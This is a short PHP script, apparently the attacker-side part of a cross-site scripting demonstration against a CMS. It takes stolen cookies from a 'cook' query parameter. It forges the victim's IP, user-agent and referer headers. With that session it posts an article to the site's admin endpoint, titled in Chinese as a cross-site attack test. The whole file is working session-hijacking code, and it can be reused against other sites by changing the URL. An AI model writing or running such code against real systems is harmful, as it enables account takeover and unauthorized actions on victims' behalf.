<?php
error_reporting(E_ALL);
header("Content-type:application/javascript");
	
     function getRealIp()
    {
		$ip = '127.0.0.1';
		$ipname = array(
			'REMOTE_ADDR',
			'HTTP_CLIENT_IP',
			'HTTP_X_FORWARDED_FOR',
			'HTTP_X_FORWARDED',
			'HTTP_X_CLUSTER_CLIENT_IP',
			'HTTP_FORWARDED_FOR',
			'HTTP_FORWARDED'
		);
       foreach ($ipname as $value)
       {
           if (isset($_SERVER[$value]) && $_SERVER[$value]) {
				
				$ip = $_SERVER[$value];
				break;
		   }
       }
       return $ip;
    }
	$ip = getRealIp();
	$cookies = isset($_GET['cook']) ? $_GET['cook'] : '';
	$headers = array(
		'User-Agent:'.$_SERVER['HTTP_USER_AGENT'],
		'X-FORWARDED-FOR:'.$ip,
		'Remote-Addr:'.$ip,
		'Cookie:'.$cookies
	);
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, "http://mycms.whyun.com/back/article/article_add.php");
	// 设置cURL 参数，要求结果保存到字符串中还是输出到屏幕上。
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);  //构造IP
	curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);   //构造来路
	curl_setopt($ch, CURLOPT_HEADER, 0);
	
	curl_setopt($ch, CURLOPT_POST, true);
	$params = array('title'=>'这是跨站攻击测试','content'=>'网站被跨站攻击了');
	curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
	
	$out = curl_exec($ch);
	curl_close($ch);
	
	$data = json_encode($headers);
	echo "var data = $out;";
	//echo "var out = '$out';";